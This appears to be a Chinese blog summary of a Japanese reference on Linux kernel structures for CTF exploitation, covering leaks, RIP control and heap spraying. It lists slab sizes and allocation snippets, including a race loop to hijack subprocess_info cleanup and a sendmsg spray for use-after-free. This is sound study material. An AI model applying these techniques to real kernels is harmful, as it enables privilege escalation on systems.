原文链接:任意データ書き込みHeap-Sprayに使える構造体
前段时间在asis ctf里面看到一个kernel题,是一个slab的off by null。想起了之前看到的CVE-2016-6187的利用,但是调了半天还是没调出来,想了想自己确实也很久没有跟过kernel的一些东西了,正好看到出题人有一个关于kernel的总结,看了一下觉得很不错,于是就总结过来了,以后做kernel题的时候也能来翻一翻
截止目前,原作者还没有找到kmalloc-8,kmalloc-16,kmalloc-64,kmalloc-512对应slab能够方便利用的结构体,之后有空可以去翻一翻。作者也针对这些结构体做了测试:https://bitbucket.org/ptr-yudai/kexp-objects/src/master/
Contents
可能用来leak / 任意地址读写 / 控制rip的一些结构体
shm_file_data
大小:0x20(kmalloc-32)
kernel base:ns,vm_ops指向内核数据区域,因此可能发生泄漏。
堆:文件指向堆区域,因此可能会泄漏。
栈:无法泄漏。
RIP control:可能不太行。
创建:使用shmat映射共享内存。
释放:应该由shmctl销毁?
备注:我尝试重写vm_ops,但在特殊情况下,shmget不会调用伪造的vtable函数指针。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/ipc/shm.c#L74
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
#define shm_file_data(file) (*((struct shm_file_data **)&(file)->private_data))
使用方法:
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
perror("shmget");
return 1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1) {
perror("shmat");
return 1;
}
seq_operations
大小:0x20(kmalloc-32)
base:可能从四个函数指针中的任何一个泄漏。
堆:不能泄漏。
栈:无法泄漏。
RIP control:重写start变量并调用read,就可以成功控制rip。
申请:使用了single_open打开的文件,比如/proc/self/stat
。
释放:关闭文件。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/seq_file.h#L32
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
使用方法:
int victim = open("/proc/self/stat", O_RDONLY);
read(victim, buf, 1); // call start
msg_msg (+user-supplied data)
大小:0x31-0x1000(kmalloc-64及以上)
kernel base:不能泄漏。
堆:next可以指向以前的msgsnded消息,可以被泄漏。 并且因为它也是指向slab上的地址,该地址泄露的slab地址与以前msgsnded的数据大小相对应。
栈:无法泄漏。
RIP:没法控制。
申请:msgget和msgsnd。
释放:msgrcv。 但是,由于第一个msgsnd是按顺序接收的,因此kfree的顺序也是发送的顺序。
备注:这是一个非常方便的结构体,因为用户可以写入具有可变大小的任意数据,但是前48个字节在结构中使用不能被重写。 只能使用UAF进行读取时,可以在泄漏堆地址之后在堆上准备数据。 它似乎经常用于堆喷。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
使用方法:
int qid;
if ((qid = msgget(123, 0666|IPC_CREAT)) == -1) {
perror("msgget");
return 1;
}
struct {
long mtype;
char mtext[0x50 - 0x30];
} msgbuf;
msgbuf.mtype = 1;
strcpy(msgbuf.mtext, "AAAABBBBCCCCDDDDEEEEFFFFF");
if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1) {
perror("msgsnd");
return 1;
}
subprocess_info
大小:0x60(kmalloc-128)
kernel base:work.func
指向call_usermodehelper_exec_work
,因此可以泄漏。
堆:可能会泄漏,但尚未验证是哪里的SLUB数据。
栈:无法泄漏。
RIP:可以通过条件竞争等方式确保安全的同时重写cleanup来控制RIP。
申请:似乎有很多种办法,但是已经确认的是使用socket(22,AF_INET,0)
指定未知协议的方法。
释放:它以与申请相同的方式释放。
备注:我以为我无法写入或使用数据,但是由于存在从设置info->cleanup
到if(info->cleanup) info->cleanup(info)
存在一定的时间差,所以还是可以成功覆盖。但是,由于某种原因,即使是ROP返回到用户空间后,它也会死在使用fs或syscall的地方。如果禁用了SMAP,我认为可以用userland覆盖fd并将其与userfaultfd组合以覆盖清除。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/umh.h#L19
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
// https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/workqueue.h#L102
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
使用方法:
int race_flag = 0;
void *race(void *arg) {
unsigned long *info = (unsigned long*)arg;
info[0] = 0;
info[11] = 0xdeadbeef; // cleanup
while(1) {
store(0x80, (void*)info); // write the struct
if (race_flag) break;
}
return NULL;
}
socket(22, AF_INET, 0);
/* get rip */
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0); // kzalloc & kfree
if (race_flag) break;
}
cred
这个结构体应该只能在老版本的内核里面才能利用了,新版本的内核似乎将cred的分配方式改了,正常的uaf应该是拿不到这个结构体的,不过也可以暴力搜内存来找这个结构体。搜索cred结构体的方法:
每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。thread_info结构体存放位于线程栈的最低地址,对应的结构体定义(\arch\x86\include\asm\thread_info.h)
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
thread_info中最重要的信息是task_struct结构体,定义在(include\linux\sched.h),task_struct里有个
char comm[TASK_COMM_LEN];
结构,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。char target[16]; strcpy(target,"deadbeefdeadbeef"); prctl(PR_SET_NAME , target);
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
而cred结构体就是可以表示当前进程权限的结构体,搜索到特定字符串之后直接可以获取这个东西的值进行更改。
大小:0xa8(kmalloc-192)
kernel base:不能泄露。
堆:session_keyring等可能泄漏,但是也不知道是哪个SLUB。
栈:不行。
RIP:不行。
申请:fork。
释放:退出创建的进程。
备注:由于它具有uid,gid等,如果可以将其填充为0,则可以提升特权。 但是,我认为cred未包含在已验证的4.19.98中的kmalloc中。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/cred.h#L116
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
timerfd_ctx
大小:?(kmalloc-256)
base:tmr.function指向timerfd_tmrproc,因此可能会泄漏。
堆:可能从tmr.base等泄漏。
栈:无法泄漏。
rip:不太行。
创建:调用timerfd_create。
释放:关闭tfd?
参考:https://elixir.bootlin.com/linux/v4.19.98/source/fs/timerfd.c#L30
struct timerfd_ctx {
union {
struct hrtimer tmr;
struct alarm alarm;
} t;
ktime_t tintv;
ktime_t moffs;
wait_queue_head_t wqh;
u64 ticks;
int clockid;
short unsigned expired;
short unsigned settime_flags; /* to show in fdinfo */
struct rcu_head rcu;
struct list_head clist;
spinlock_t cancel_lock;
bool might_cancel;
};
使用方法:
struct itimerspec timespec = {{0, 0}, {100, 0}};
int tfd = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(tfd, 0, ×pec, 0);
tty_struct
我博客中的babydriver一题的解法就是覆盖的tty_operations(http://pzhxbz.cn/?p=99),感觉可以对照着看
大小:0x2e0(kmalloc-1024)
kernel base:ops指向ptm_unix98_ops,因此它可能会泄漏。 除此之外,我还看出来了大约两个地方是内核数据区域。
堆:许多对象(例如dev和driver)都指向堆及其成员,因此可能发生泄漏。 尚未调查目标SLUB。
栈:我不会泄漏。
申请:打开/dev/ptmx
。
释放:关闭打开的ptmx。
备注:RIP可以通过重写ops来控制。
参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/tty.h#L283
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
/* tty magic number */
#define TTY_MAGIC 0x5401
使用方法:
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY);
可用于写入任意数据/堆喷的结构
msg_msg
说过了.jpg
setxattr
大小:任意(<= 65536)
使用方法:setxattr
。 插入指向要在值中写入的值的指针并指定大小。
注意:与userfaultfd结合使用。 前48个字节不能在msgsnd中重写,因此在要支持它时很方便。 它也可以用作堆喷。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
void *vvalue = NULL; /* If non-NULL, we used vmalloc() */
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
if (!kvalue) {
vvalue = vmalloc(size);
if (!vvalue)
return -ENOMEM;
kvalue = vvalue;
}
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
if (vvalue)
vfree(vvalue);
else
kfree(kvalue);
return error;
}
sendmsg
大小:任意(> = 2)
使用方法:sendmsg
。 将指针放在msg.msg_control
中,将大小放在msg.msg_controllen
中。
注意:与setxattr相同,但与userfaultfd结合使用。
//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可
补充材料参考文章:
https://xz.aliyun.com/t/6286
https://duasynt.com/blog/linux-kernel-heap-spray
https://xz.aliyun.com/t/2814
https://www.codercto.com/a/92554.html